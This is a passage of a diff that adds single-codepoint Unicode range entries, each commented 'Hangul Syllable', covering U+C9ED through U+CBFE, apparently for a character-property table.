+ [0xc9ed, 0xc9ed], /* Hangul Syllable */
+ [0xc9ee, 0xc9ee], /* Hangul Syllable */
+ [0xc9ef, 0xc9ef], /* Hangul Syllable */
+ [0xc9f0, 0xc9f0], /* Hangul Syllable */
+ [0xc9f1, 0xc9f1], /* Hangul Syllable */
+ [0xc9f2, 0xc9f2], /* Hangul Syllable */
+ [0xc9f3, 0xc9f3], /* Hangul Syllable */
+ [0xc9f4, 0xc9f4], /* Hangul Syllable */
+ [0xc9f5, 0xc9f5], /* Hangul Syllable */
+ [0xc9f6, 0xc9f6], /* Hangul Syllable */
+ [0xc9f7, 0xc9f7], /* Hangul Syllable */
+ [0xc9f8, 0xc9f8], /* Hangul Syllable */
+ [0xc9f9, 0xc9f9], /* Hangul Syllable */
+ [0xc9fa, 0xc9fa], /* Hangul Syllable */
+ [0xc9fb, 0xc9fb], /* Hangul Syllable */
+ [0xc9fc, 0xc9fc], /* Hangul Syllable */
+ [0xc9fd, 0xc9fd], /* Hangul Syllable */
+ [0xc9fe, 0xc9fe], /* Hangul Syllable */
+ [0xc9ff, 0xc9ff], /* Hangul Syllable */
+ [0xca00, 0xca00], /* Hangul Syllable */
+ [0xca01, 0xca01], /* Hangul Syllable */
+ [0xca02, 0xca02], /* Hangul Syllable */
+ [0xca03, 0xca03], /* Hangul Syllable */
+ [0xca04, 0xca04], /* Hangul Syllable */
+ [0xca05, 0xca05], /* Hangul Syllable */
+ [0xca06, 0xca06], /* Hangul Syllable */
+ [0xca07, 0xca07], /* Hangul Syllable */
+ [0xca08, 0xca08], /* Hangul Syllable */
+ [0xca09, 0xca09], /* Hangul Syllable */
+ [0xca0a, 0xca0a], /* Hangul Syllable */
+ [0xca0b, 0xca0b], /* Hangul Syllable */
+ [0xca0c, 0xca0c], /* Hangul Syllable */
+ [0xca0d, 0xca0d], /* Hangul Syllable */
+ [0xca0e, 0xca0e], /* Hangul Syllable */
+ [0xca0f, 0xca0f], /* Hangul Syllable */
+ [0xca10, 0xca10], /* Hangul Syllable */
+ [0xca11, 0xca11], /* Hangul Syllable */
+ [0xca12, 0xca12], /* Hangul Syllable */
+ [0xca13, 0xca13], /* Hangul Syllable */
+ [0xca14, 0xca14], /* Hangul Syllable */
+ [0xca15, 0xca15], /* Hangul Syllable */
+ [0xca16, 0xca16], /* Hangul Syllable */
+ [0xca17, 0xca17], /* Hangul Syllable */
+ [0xca18, 0xca18], /* Hangul Syllable */
+ [0xca19, 0xca19], /* Hangul Syllable */
+ [0xca1a, 0xca1a], /* Hangul Syllable */
+ [0xca1b, 0xca1b], /* Hangul Syllable */
+ [0xca1c, 0xca1c], /* Hangul Syllable */
+ [0xca1d, 0xca1d], /* Hangul Syllable */
+ [0xca1e, 0xca1e], /* Hangul Syllable */
+ [0xca1f, 0xca1f], /* Hangul Syllable */
+ [0xca20, 0xca20], /* Hangul Syllable */
+ [0xca21, 0xca21], /* Hangul Syllable */
+ [0xca22, 0xca22], /* Hangul Syllable */
+ [0xca23, 0xca23], /* Hangul Syllable */
+ [0xca24, 0xca24], /* Hangul Syllable */
+ [0xca25, 0xca25], /* Hangul Syllable */
+ [0xca26, 0xca26], /* Hangul Syllable */
+ [0xca27, 0xca27], /* Hangul Syllable */
+ [0xca28, 0xca28], /* Hangul Syllable */
+ [0xca29, 0xca29], /* Hangul Syllable */
+ [0xca2a, 0xca2a], /* Hangul Syllable */
+ [0xca2b, 0xca2b], /* Hangul Syllable */
+ [0xca2c, 0xca2c], /* Hangul Syllable */
+ [0xca2d, 0xca2d], /* Hangul Syllable */
+ [0xca2e, 0xca2e], /* Hangul Syllable */
+ [0xca2f, 0xca2f], /* Hangul Syllable */
+ [0xca30, 0xca30], /* Hangul Syllable */
+ [0xca31, 0xca31], /* Hangul Syllable */
+ [0xca32, 0xca32], /* Hangul Syllable */
+ [0xca33, 0xca33], /* Hangul Syllable */
+ [0xca34, 0xca34], /* Hangul Syllable */
+ [0xca35, 0xca35], /* Hangul Syllable */
+ [0xca36, 0xca36], /* Hangul Syllable */
+ [0xca37, 0xca37], /* Hangul Syllable */
+ [0xca38, 0xca38], /* Hangul Syllable */
+ [0xca39, 0xca39], /* Hangul Syllable */
+ [0xca3a, 0xca3a], /* Hangul Syllable */
+ [0xca3b, 0xca3b], /* Hangul Syllable */
+ [0xca3c, 0xca3c], /* Hangul Syllable */
+ [0xca3d, 0xca3d], /* Hangul Syllable */
+ [0xca3e, 0xca3e], /* Hangul Syllable */
+ [0xca3f, 0xca3f], /* Hangul Syllable */
+ [0xca40, 0xca40], /* Hangul Syllable */
+ [0xca41, 0xca41], /* Hangul Syllable */
+ [0xca42, 0xca42], /* Hangul Syllable */
+ [0xca43, 0xca43], /* Hangul Syllable */
+ [0xca44, 0xca44], /* Hangul Syllable */
+ [0xca45, 0xca45], /* Hangul Syllable */
+ [0xca46, 0xca46], /* Hangul Syllable */
+ [0xca47, 0xca47], /* Hangul Syllable */
+ [0xca48, 0xca48], /* Hangul Syllable */
+ [0xca49, 0xca49], /* Hangul Syllable */
+ [0xca4a, 0xca4a], /* Hangul Syllable */
+ [0xca4b, 0xca4b], /* Hangul Syllable */
+ [0xca4c, 0xca4c], /* Hangul Syllable */
+ [0xca4d, 0xca4d], /* Hangul Syllable */
+ [0xca4e, 0xca4e], /* Hangul Syllable */
+ [0xca4f, 0xca4f], /* Hangul Syllable */
+ [0xca50, 0xca50], /* Hangul Syllable */
+ [0xca51, 0xca51], /* Hangul Syllable */
+ [0xca52, 0xca52], /* Hangul Syllable */
+ [0xca53, 0xca53], /* Hangul Syllable */
+ [0xca54, 0xca54], /* Hangul Syllable */
+ [0xca55, 0xca55], /* Hangul Syllable */
+ [0xca56, 0xca56], /* Hangul Syllable */
+ [0xca57, 0xca57], /* Hangul Syllable */
+ [0xca58, 0xca58], /* Hangul Syllable */
+ [0xca59, 0xca59], /* Hangul Syllable */
+ [0xca5a, 0xca5a], /* Hangul Syllable */
+ [0xca5b, 0xca5b], /* Hangul Syllable */
+ [0xca5c, 0xca5c], /* Hangul Syllable */
+ [0xca5d, 0xca5d], /* Hangul Syllable */
+ [0xca5e, 0xca5e], /* Hangul Syllable */
+ [0xca5f, 0xca5f], /* Hangul Syllable */
+ [0xca60, 0xca60], /* Hangul Syllable */
+ [0xca61, 0xca61], /* Hangul Syllable */
+ [0xca62, 0xca62], /* Hangul Syllable */
+ [0xca63, 0xca63], /* Hangul Syllable */
+ [0xca64, 0xca64], /* Hangul Syllable */
+ [0xca65, 0xca65], /* Hangul Syllable */
+ [0xca66, 0xca66], /* Hangul Syllable */
+ [0xca67, 0xca67], /* Hangul Syllable */
+ [0xca68, 0xca68], /* Hangul Syllable */
+ [0xca69, 0xca69], /* Hangul Syllable */
+ [0xca6a, 0xca6a], /* Hangul Syllable */
+ [0xca6b, 0xca6b], /* Hangul Syllable */
+ [0xca6c, 0xca6c], /* Hangul Syllable */
+ [0xca6d, 0xca6d], /* Hangul Syllable */
+ [0xca6e, 0xca6e], /* Hangul Syllable */
+ [0xca6f, 0xca6f], /* Hangul Syllable */
+ [0xca70, 0xca70], /* Hangul Syllable */
+ [0xca71, 0xca71], /* Hangul Syllable */
+ [0xca72, 0xca72], /* Hangul Syllable */
+ [0xca73, 0xca73], /* Hangul Syllable */
+ [0xca74, 0xca74], /* Hangul Syllable */
+ [0xca75, 0xca75], /* Hangul Syllable */
+ [0xca76, 0xca76], /* Hangul Syllable */
+ [0xca77, 0xca77], /* Hangul Syllable */
+ [0xca78, 0xca78], /* Hangul Syllable */
+ [0xca79, 0xca79], /* Hangul Syllable */
+ [0xca7a, 0xca7a], /* Hangul Syllable */
+ [0xca7b, 0xca7b], /* Hangul Syllable */
+ [0xca7c, 0xca7c], /* Hangul Syllable */
+ [0xca7d, 0xca7d], /* Hangul Syllable */
+ [0xca7e, 0xca7e], /* Hangul Syllable */
+ [0xca7f, 0xca7f], /* Hangul Syllable */
+ [0xca80, 0xca80], /* Hangul Syllable */
+ [0xca81, 0xca81], /* Hangul Syllable */
+ [0xca82, 0xca82], /* Hangul Syllable */
+ [0xca83, 0xca83], /* Hangul Syllable */
+ [0xca84, 0xca84], /* Hangul Syllable */
+ [0xca85, 0xca85], /* Hangul Syllable */
+ [0xca86, 0xca86], /* Hangul Syllable */
+ [0xca87, 0xca87], /* Hangul Syllable */
+ [0xca88, 0xca88], /* Hangul Syllable */
+ [0xca89, 0xca89], /* Hangul Syllable */
+ [0xca8a, 0xca8a], /* Hangul Syllable */
+ [0xca8b, 0xca8b], /* Hangul Syllable */
+ [0xca8c, 0xca8c], /* Hangul Syllable */
+ [0xca8d, 0xca8d], /* Hangul Syllable */
+ [0xca8e, 0xca8e], /* Hangul Syllable */
+ [0xca8f, 0xca8f], /* Hangul Syllable */
+ [0xca90, 0xca90], /* Hangul Syllable */
+ [0xca91, 0xca91], /* Hangul Syllable */
+ [0xca92, 0xca92], /* Hangul Syllable */
+ [0xca93, 0xca93], /* Hangul Syllable */
+ [0xca94, 0xca94], /* Hangul Syllable */
+ [0xca95, 0xca95], /* Hangul Syllable */
+ [0xca96, 0xca96], /* Hangul Syllable */
+ [0xca97, 0xca97], /* Hangul Syllable */
+ [0xca98, 0xca98], /* Hangul Syllable */
+ [0xca99, 0xca99], /* Hangul Syllable */
+ [0xca9a, 0xca9a], /* Hangul Syllable */
+ [0xca9b, 0xca9b], /* Hangul Syllable */
+ [0xca9c, 0xca9c], /* Hangul Syllable */
+ [0xca9d, 0xca9d], /* Hangul Syllable */
+ [0xca9e, 0xca9e], /* Hangul Syllable */
+ [0xca9f, 0xca9f], /* Hangul Syllable */
+ [0xcaa0, 0xcaa0], /* Hangul Syllable */
+ [0xcaa1, 0xcaa1], /* Hangul Syllable */
+ [0xcaa2, 0xcaa2], /* Hangul Syllable */
+ [0xcaa3, 0xcaa3], /* Hangul Syllable */
+ [0xcaa4, 0xcaa4], /* Hangul Syllable */
+ [0xcaa5, 0xcaa5], /* Hangul Syllable */
+ [0xcaa6, 0xcaa6], /* Hangul Syllable */
+ [0xcaa7, 0xcaa7], /* Hangul Syllable */
+ [0xcaa8, 0xcaa8], /* Hangul Syllable */
+ [0xcaa9, 0xcaa9], /* Hangul Syllable */
+ [0xcaaa, 0xcaaa], /* Hangul Syllable */
+ [0xcaab, 0xcaab], /* Hangul Syllable */
+ [0xcaac, 0xcaac], /* Hangul Syllable */
+ [0xcaad, 0xcaad], /* Hangul Syllable */
+ [0xcaae, 0xcaae], /* Hangul Syllable */
+ [0xcaaf, 0xcaaf], /* Hangul Syllable */
+ [0xcab0, 0xcab0], /* Hangul Syllable */
+ [0xcab1, 0xcab1], /* Hangul Syllable */
+ [0xcab2, 0xcab2], /* Hangul Syllable */
+ [0xcab3, 0xcab3], /* Hangul Syllable */
+ [0xcab4, 0xcab4], /* Hangul Syllable */
+ [0xcab5, 0xcab5], /* Hangul Syllable */
+ [0xcab6, 0xcab6], /* Hangul Syllable */
+ [0xcab7, 0xcab7], /* Hangul Syllable */
+ [0xcab8, 0xcab8], /* Hangul Syllable */
+ [0xcab9, 0xcab9], /* Hangul Syllable */
+ [0xcaba, 0xcaba], /* Hangul Syllable */
+ [0xcabb, 0xcabb], /* Hangul Syllable */
+ [0xcabc, 0xcabc], /* Hangul Syllable */
+ [0xcabd, 0xcabd], /* Hangul Syllable */
+ [0xcabe, 0xcabe], /* Hangul Syllable */
+ [0xcabf, 0xcabf], /* Hangul Syllable */
+ [0xcac0, 0xcac0], /* Hangul Syllable */
+ [0xcac1, 0xcac1], /* Hangul Syllable */
+ [0xcac2, 0xcac2], /* Hangul Syllable */
+ [0xcac3, 0xcac3], /* Hangul Syllable */
+ [0xcac4, 0xcac4], /* Hangul Syllable */
+ [0xcac5, 0xcac5], /* Hangul Syllable */
+ [0xcac6, 0xcac6], /* Hangul Syllable */
+ [0xcac7, 0xcac7], /* Hangul Syllable */
+ [0xcac8, 0xcac8], /* Hangul Syllable */
+ [0xcac9, 0xcac9], /* Hangul Syllable */
+ [0xcaca, 0xcaca], /* Hangul Syllable */
+ [0xcacb, 0xcacb], /* Hangul Syllable */
+ [0xcacc, 0xcacc], /* Hangul Syllable */
+ [0xcacd, 0xcacd], /* Hangul Syllable */
+ [0xcace, 0xcace], /* Hangul Syllable */
+ [0xcacf, 0xcacf], /* Hangul Syllable */
+ [0xcad0, 0xcad0], /* Hangul Syllable */
+ [0xcad1, 0xcad1], /* Hangul Syllable */
+ [0xcad2, 0xcad2], /* Hangul Syllable */
+ [0xcad3, 0xcad3], /* Hangul Syllable */
+ [0xcad4, 0xcad4], /* Hangul Syllable */
+ [0xcad5, 0xcad5], /* Hangul Syllable */
+ [0xcad6, 0xcad6], /* Hangul Syllable */
+ [0xcad7, 0xcad7], /* Hangul Syllable */
+ [0xcad8, 0xcad8], /* Hangul Syllable */
+ [0xcad9, 0xcad9], /* Hangul Syllable */
+ [0xcada, 0xcada], /* Hangul Syllable */
+ [0xcadb, 0xcadb], /* Hangul Syllable */
+ [0xcadc, 0xcadc], /* Hangul Syllable */
+ [0xcadd, 0xcadd], /* Hangul Syllable */
+ [0xcade, 0xcade], /* Hangul Syllable */
+ [0xcadf, 0xcadf], /* Hangul Syllable */
+ [0xcae0, 0xcae0], /* Hangul Syllable */
+ [0xcae1, 0xcae1], /* Hangul Syllable */
+ [0xcae2, 0xcae2], /* Hangul Syllable */
+ [0xcae3, 0xcae3], /* Hangul Syllable */
+ [0xcae4, 0xcae4], /* Hangul Syllable */
+ [0xcae5, 0xcae5], /* Hangul Syllable */
+ [0xcae6, 0xcae6], /* Hangul Syllable */
+ [0xcae7, 0xcae7], /* Hangul Syllable */
+ [0xcae8, 0xcae8], /* Hangul Syllable */
+ [0xcae9, 0xcae9], /* Hangul Syllable */
+ [0xcaea, 0xcaea], /* Hangul Syllable */
+ [0xcaeb, 0xcaeb], /* Hangul Syllable */
+ [0xcaec, 0xcaec], /* Hangul Syllable */
+ [0xcaed, 0xcaed], /* Hangul Syllable */
+ [0xcaee, 0xcaee], /* Hangul Syllable */
+ [0xcaef, 0xcaef], /* Hangul Syllable */
+ [0xcaf0, 0xcaf0], /* Hangul Syllable */
+ [0xcaf1, 0xcaf1], /* Hangul Syllable */
+ [0xcaf2, 0xcaf2], /* Hangul Syllable */
+ [0xcaf3, 0xcaf3], /* Hangul Syllable */
+ [0xcaf4, 0xcaf4], /* Hangul Syllable */
+ [0xcaf5, 0xcaf5], /* Hangul Syllable */
+ [0xcaf6, 0xcaf6], /* Hangul Syllable */
+ [0xcaf7, 0xcaf7], /* Hangul Syllable */
+ [0xcaf8, 0xcaf8], /* Hangul Syllable */
+ [0xcaf9, 0xcaf9], /* Hangul Syllable */
+ [0xcafa, 0xcafa], /* Hangul Syllable */
+ [0xcafb, 0xcafb], /* Hangul Syllable */
+ [0xcafc, 0xcafc], /* Hangul Syllable */
+ [0xcafd, 0xcafd], /* Hangul Syllable */
+ [0xcafe, 0xcafe], /* Hangul Syllable */
+ [0xcaff, 0xcaff], /* Hangul Syllable */
+ [0xcb00, 0xcb00], /* Hangul Syllable */
+ [0xcb01, 0xcb01], /* Hangul Syllable */
+ [0xcb02, 0xcb02], /* Hangul Syllable */
+ [0xcb03, 0xcb03], /* Hangul Syllable */
+ [0xcb04, 0xcb04], /* Hangul Syllable */
+ [0xcb05, 0xcb05], /* Hangul Syllable */
+ [0xcb06, 0xcb06], /* Hangul Syllable */
+ [0xcb07, 0xcb07], /* Hangul Syllable */
+ [0xcb08, 0xcb08], /* Hangul Syllable */
+ [0xcb09, 0xcb09], /* Hangul Syllable */
+ [0xcb0a, 0xcb0a], /* Hangul Syllable */
+ [0xcb0b, 0xcb0b], /* Hangul Syllable */
+ [0xcb0c, 0xcb0c], /* Hangul Syllable */
+ [0xcb0d, 0xcb0d], /* Hangul Syllable */
+ [0xcb0e, 0xcb0e], /* Hangul Syllable */
+ [0xcb0f, 0xcb0f], /* Hangul Syllable */
+ [0xcb10, 0xcb10], /* Hangul Syllable */
+ [0xcb11, 0xcb11], /* Hangul Syllable */
+ [0xcb12, 0xcb12], /* Hangul Syllable */
+ [0xcb13, 0xcb13], /* Hangul Syllable */
+ [0xcb14, 0xcb14], /* Hangul Syllable */
+ [0xcb15, 0xcb15], /* Hangul Syllable */
+ [0xcb16, 0xcb16], /* Hangul Syllable */
+ [0xcb17, 0xcb17], /* Hangul Syllable */
+ [0xcb18, 0xcb18], /* Hangul Syllable */
+ [0xcb19, 0xcb19], /* Hangul Syllable */
+ [0xcb1a, 0xcb1a], /* Hangul Syllable */
+ [0xcb1b, 0xcb1b], /* Hangul Syllable */
+ [0xcb1c, 0xcb1c], /* Hangul Syllable */
+ [0xcb1d, 0xcb1d], /* Hangul Syllable */
+ [0xcb1e, 0xcb1e], /* Hangul Syllable */
+ [0xcb1f, 0xcb1f], /* Hangul Syllable */
+ [0xcb20, 0xcb20], /* Hangul Syllable */
+ [0xcb21, 0xcb21], /* Hangul Syllable */
+ [0xcb22, 0xcb22], /* Hangul Syllable */
+ [0xcb23, 0xcb23], /* Hangul Syllable */
+ [0xcb24, 0xcb24], /* Hangul Syllable */
+ [0xcb25, 0xcb25], /* Hangul Syllable */
+ [0xcb26, 0xcb26], /* Hangul Syllable */
+ [0xcb27, 0xcb27], /* Hangul Syllable */
+ [0xcb28, 0xcb28], /* Hangul Syllable */
+ [0xcb29, 0xcb29], /* Hangul Syllable */
+ [0xcb2a, 0xcb2a], /* Hangul Syllable */
+ [0xcb2b, 0xcb2b], /* Hangul Syllable */
+ [0xcb2c, 0xcb2c], /* Hangul Syllable */
+ [0xcb2d, 0xcb2d], /* Hangul Syllable */
+ [0xcb2e, 0xcb2e], /* Hangul Syllable */
+ [0xcb2f, 0xcb2f], /* Hangul Syllable */
+ [0xcb30, 0xcb30], /* Hangul Syllable */
+ [0xcb31, 0xcb31], /* Hangul Syllable */
+ [0xcb32, 0xcb32], /* Hangul Syllable */
+ [0xcb33, 0xcb33], /* Hangul Syllable */
+ [0xcb34, 0xcb34], /* Hangul Syllable */
+ [0xcb35, 0xcb35], /* Hangul Syllable */
+ [0xcb36, 0xcb36], /* Hangul Syllable */
+ [0xcb37, 0xcb37], /* Hangul Syllable */
+ [0xcb38, 0xcb38], /* Hangul Syllable */
+ [0xcb39, 0xcb39], /* Hangul Syllable */
+ [0xcb3a, 0xcb3a], /* Hangul Syllable */
+ [0xcb3b, 0xcb3b], /* Hangul Syllable */
+ [0xcb3c, 0xcb3c], /* Hangul Syllable */
+ [0xcb3d, 0xcb3d], /* Hangul Syllable */
+ [0xcb3e, 0xcb3e], /* Hangul Syllable */
+ [0xcb3f, 0xcb3f], /* Hangul Syllable */
+ [0xcb40, 0xcb40], /* Hangul Syllable */
+ [0xcb41, 0xcb41], /* Hangul Syllable */
+ [0xcb42, 0xcb42], /* Hangul Syllable */
+ [0xcb43, 0xcb43], /* Hangul Syllable */
+ [0xcb44, 0xcb44], /* Hangul Syllable */
+ [0xcb45, 0xcb45], /* Hangul Syllable */
+ [0xcb46, 0xcb46], /* Hangul Syllable */
+ [0xcb47, 0xcb47], /* Hangul Syllable */
+ [0xcb48, 0xcb48], /* Hangul Syllable */
+ [0xcb49, 0xcb49], /* Hangul Syllable */
+ [0xcb4a, 0xcb4a], /* Hangul Syllable */
+ [0xcb4b, 0xcb4b], /* Hangul Syllable */
+ [0xcb4c, 0xcb4c], /* Hangul Syllable */
+ [0xcb4d, 0xcb4d], /* Hangul Syllable */
+ [0xcb4e, 0xcb4e], /* Hangul Syllable */
+ [0xcb4f, 0xcb4f], /* Hangul Syllable */
+ [0xcb50, 0xcb50], /* Hangul Syllable */
+ [0xcb51, 0xcb51], /* Hangul Syllable */
+ [0xcb52, 0xcb52], /* Hangul Syllable */
+ [0xcb53, 0xcb53], /* Hangul Syllable */
+ [0xcb54, 0xcb54], /* Hangul Syllable */
+ [0xcb55, 0xcb55], /* Hangul Syllable */
+ [0xcb56, 0xcb56], /* Hangul Syllable */
+ [0xcb57, 0xcb57], /* Hangul Syllable */
+ [0xcb58, 0xcb58], /* Hangul Syllable */
+ [0xcb59, 0xcb59], /* Hangul Syllable */
+ [0xcb5a, 0xcb5a], /* Hangul Syllable */
+ [0xcb5b, 0xcb5b], /* Hangul Syllable */
+ [0xcb5c, 0xcb5c], /* Hangul Syllable */
+ [0xcb5d, 0xcb5d], /* Hangul Syllable */
+ [0xcb5e, 0xcb5e], /* Hangul Syllable */
+ [0xcb5f, 0xcb5f], /* Hangul Syllable */
+ [0xcb60, 0xcb60], /* Hangul Syllable */
+ [0xcb61, 0xcb61], /* Hangul Syllable */
+ [0xcb62, 0xcb62], /* Hangul Syllable */
+ [0xcb63, 0xcb63], /* Hangul Syllable */
+ [0xcb64, 0xcb64], /* Hangul Syllable */
+ [0xcb65, 0xcb65], /* Hangul Syllable */
+ [0xcb66, 0xcb66], /* Hangul Syllable */
+ [0xcb67, 0xcb67], /* Hangul Syllable */
+ [0xcb68, 0xcb68], /* Hangul Syllable */
+ [0xcb69, 0xcb69], /* Hangul Syllable */
+ [0xcb6a, 0xcb6a], /* Hangul Syllable */
+ [0xcb6b, 0xcb6b], /* Hangul Syllable */
+ [0xcb6c, 0xcb6c], /* Hangul Syllable */
+ [0xcb6d, 0xcb6d], /* Hangul Syllable */
+ [0xcb6e, 0xcb6e], /* Hangul Syllable */
+ [0xcb6f, 0xcb6f], /* Hangul Syllable */
+ [0xcb70, 0xcb70], /* Hangul Syllable */
+ [0xcb71, 0xcb71], /* Hangul Syllable */
+ [0xcb72, 0xcb72], /* Hangul Syllable */
+ [0xcb73, 0xcb73], /* Hangul Syllable */
+ [0xcb74, 0xcb74], /* Hangul Syllable */
+ [0xcb75, 0xcb75], /* Hangul Syllable */
+ [0xcb76, 0xcb76], /* Hangul Syllable */
+ [0xcb77, 0xcb77], /* Hangul Syllable */
+ [0xcb78, 0xcb78], /* Hangul Syllable */
+ [0xcb79, 0xcb79], /* Hangul Syllable */
+ [0xcb7a, 0xcb7a], /* Hangul Syllable */
+ [0xcb7b, 0xcb7b], /* Hangul Syllable */
+ [0xcb7c, 0xcb7c], /* Hangul Syllable */
+ [0xcb7d, 0xcb7d], /* Hangul Syllable */
+ [0xcb7e, 0xcb7e], /* Hangul Syllable */
+ [0xcb7f, 0xcb7f], /* Hangul Syllable */
+ [0xcb80, 0xcb80], /* Hangul Syllable */
+ [0xcb81, 0xcb81], /* Hangul Syllable */
+ [0xcb82, 0xcb82], /* Hangul Syllable */
+ [0xcb83, 0xcb83], /* Hangul Syllable */
+ [0xcb84, 0xcb84], /* Hangul Syllable */
+ [0xcb85, 0xcb85], /* Hangul Syllable */
+ [0xcb86, 0xcb86], /* Hangul Syllable */
+ [0xcb87, 0xcb87], /* Hangul Syllable */
+ [0xcb88, 0xcb88], /* Hangul Syllable */
+ [0xcb89, 0xcb89], /* Hangul Syllable */
+ [0xcb8a, 0xcb8a], /* Hangul Syllable */
+ [0xcb8b, 0xcb8b], /* Hangul Syllable */
+ [0xcb8c, 0xcb8c], /* Hangul Syllable */
+ [0xcb8d, 0xcb8d], /* Hangul Syllable */
+ [0xcb8e, 0xcb8e], /* Hangul Syllable */
+ [0xcb8f, 0xcb8f], /* Hangul Syllable */
+ [0xcb90, 0xcb90], /* Hangul Syllable */
+ [0xcb91, 0xcb91], /* Hangul Syllable */
+ [0xcb92, 0xcb92], /* Hangul Syllable */
+ [0xcb93, 0xcb93], /* Hangul Syllable */
+ [0xcb94, 0xcb94], /* Hangul Syllable */
+ [0xcb95, 0xcb95], /* Hangul Syllable */
+ [0xcb96, 0xcb96], /* Hangul Syllable */
+ [0xcb97, 0xcb97], /* Hangul Syllable */
+ [0xcb98, 0xcb98], /* Hangul Syllable */
+ [0xcb99, 0xcb99], /* Hangul Syllable */
+ [0xcb9a, 0xcb9a], /* Hangul Syllable */
+ [0xcb9b, 0xcb9b], /* Hangul Syllable */
+ [0xcb9c, 0xcb9c], /* Hangul Syllable */
+ [0xcb9d, 0xcb9d], /* Hangul Syllable */
+ [0xcb9e, 0xcb9e], /* Hangul Syllable */
+ [0xcb9f, 0xcb9f], /* Hangul Syllable */
+ [0xcba0, 0xcba0], /* Hangul Syllable */
+ [0xcba1, 0xcba1], /* Hangul Syllable */
+ [0xcba2, 0xcba2], /* Hangul Syllable */
+ [0xcba3, 0xcba3], /* Hangul Syllable */
+ [0xcba4, 0xcba4], /* Hangul Syllable */
+ [0xcba5, 0xcba5], /* Hangul Syllable */
+ [0xcba6, 0xcba6], /* Hangul Syllable */
+ [0xcba7, 0xcba7], /* Hangul Syllable */
+ [0xcba8, 0xcba8], /* Hangul Syllable */
+ [0xcba9, 0xcba9], /* Hangul Syllable */
+ [0xcbaa, 0xcbaa], /* Hangul Syllable */
+ [0xcbab, 0xcbab], /* Hangul Syllable */
+ [0xcbac, 0xcbac], /* Hangul Syllable */
+ [0xcbad, 0xcbad], /* Hangul Syllable */
+ [0xcbae, 0xcbae], /* Hangul Syllable */
+ [0xcbaf, 0xcbaf], /* Hangul Syllable */
+ [0xcbb0, 0xcbb0], /* Hangul Syllable */
+ [0xcbb1, 0xcbb1], /* Hangul Syllable */
+ [0xcbb2, 0xcbb2], /* Hangul Syllable */
+ [0xcbb3, 0xcbb3], /* Hangul Syllable */
+ [0xcbb4, 0xcbb4], /* Hangul Syllable */
+ [0xcbb5, 0xcbb5], /* Hangul Syllable */
+ [0xcbb6, 0xcbb6], /* Hangul Syllable */
+ [0xcbb7, 0xcbb7], /* Hangul Syllable */
+ [0xcbb8, 0xcbb8], /* Hangul Syllable */
+ [0xcbb9, 0xcbb9], /* Hangul Syllable */
+ [0xcbba, 0xcbba], /* Hangul Syllable */
+ [0xcbbb, 0xcbbb], /* Hangul Syllable */
+ [0xcbbc, 0xcbbc], /* Hangul Syllable */
+ [0xcbbd, 0xcbbd], /* Hangul Syllable */
+ [0xcbbe, 0xcbbe], /* Hangul Syllable */
+ [0xcbbf, 0xcbbf], /* Hangul Syllable */
+ [0xcbc0, 0xcbc0], /* Hangul Syllable */
+ [0xcbc1, 0xcbc1], /* Hangul Syllable */
+ [0xcbc2, 0xcbc2], /* Hangul Syllable */
+ [0xcbc3, 0xcbc3], /* Hangul Syllable */
+ [0xcbc4, 0xcbc4], /* Hangul Syllable */
+ [0xcbc5, 0xcbc5], /* Hangul Syllable */
+ [0xcbc6, 0xcbc6], /* Hangul Syllable */
+ [0xcbc7, 0xcbc7], /* Hangul Syllable */
+ [0xcbc8, 0xcbc8], /* Hangul Syllable */
+ [0xcbc9, 0xcbc9], /* Hangul Syllable */
+ [0xcbca, 0xcbca], /* Hangul Syllable */
+ [0xcbcb, 0xcbcb], /* Hangul Syllable */
+ [0xcbcc, 0xcbcc], /* Hangul Syllable */
+ [0xcbcd, 0xcbcd], /* Hangul Syllable */
+ [0xcbce, 0xcbce], /* Hangul Syllable */
+ [0xcbcf, 0xcbcf], /* Hangul Syllable */
+ [0xcbd0, 0xcbd0], /* Hangul Syllable */
+ [0xcbd1, 0xcbd1], /* Hangul Syllable */
+ [0xcbd2, 0xcbd2], /* Hangul Syllable */
+ [0xcbd3, 0xcbd3], /* Hangul Syllable */
+ [0xcbd4, 0xcbd4], /* Hangul Syllable */
+ [0xcbd5, 0xcbd5], /* Hangul Syllable */
+ [0xcbd6, 0xcbd6], /* Hangul Syllable */
+ [0xcbd7, 0xcbd7], /* Hangul Syllable */
+ [0xcbd8, 0xcbd8], /* Hangul Syllable */
+ [0xcbd9, 0xcbd9], /* Hangul Syllable */
+ [0xcbda, 0xcbda], /* Hangul Syllable */
+ [0xcbdb, 0xcbdb], /* Hangul Syllable */
+ [0xcbdc, 0xcbdc], /* Hangul Syllable */
+ [0xcbdd, 0xcbdd], /* Hangul Syllable */
+ [0xcbde, 0xcbde], /* Hangul Syllable */
+ [0xcbdf, 0xcbdf], /* Hangul Syllable */
+ [0xcbe0, 0xcbe0], /* Hangul Syllable */
+ [0xcbe1, 0xcbe1], /* Hangul Syllable */
+ [0xcbe2, 0xcbe2], /* Hangul Syllable */
+ [0xcbe3, 0xcbe3], /* Hangul Syllable */
+ [0xcbe4, 0xcbe4], /* Hangul Syllable */
+ [0xcbe5, 0xcbe5], /* Hangul Syllable */
+ [0xcbe6, 0xcbe6], /* Hangul Syllable */
+ [0xcbe7, 0xcbe7], /* Hangul Syllable */
+ [0xcbe8, 0xcbe8], /* Hangul Syllable */
+ [0xcbe9, 0xcbe9], /* Hangul Syllable */
+ [0xcbea, 0xcbea], /* Hangul Syllable */
+ [0xcbeb, 0xcbeb], /* Hangul Syllable */
+ [0xcbec, 0xcbec], /* Hangul Syllable */
+ [0xcbed, 0xcbed], /* Hangul Syllable */
+ [0xcbee, 0xcbee], /* Hangul Syllable */
+ [0xcbef, 0xcbef], /* Hangul Syllable */
+ [0xcbf0, 0xcbf0], /* Hangul Syllable */
+ [0xcbf1, 0xcbf1], /* Hangul Syllable */
+ [0xcbf2, 0xcbf2], /* Hangul Syllable */
+ [0xcbf3, 0xcbf3], /* Hangul Syllable */
+ [0xcbf4, 0xcbf4], /* Hangul Syllable */
+ [0xcbf5, 0xcbf5], /* Hangul Syllable */
+ [0xcbf6, 0xcbf6], /* Hangul Syllable */
+ [0xcbf7, 0xcbf7], /* Hangul Syllable */
+ [0xcbf8, 0xcbf8], /* Hangul Syllable */
+ [0xcbf9, 0xcbf9], /* Hangul Syllable */
+ [0xcbfa, 0xcbfa], /* Hangul Syllable */
+ [0xcbfb, 0xcbfb], /* Hangul Syllable */
+ [0xcbfc, 0xcbfc], /* Hangul Syllable */
+ [0xcbfd, 0xcbfd], /* Hangul Syllable */
+ [0xcbfe, 0xcbfe], /* Hangul Syllable */
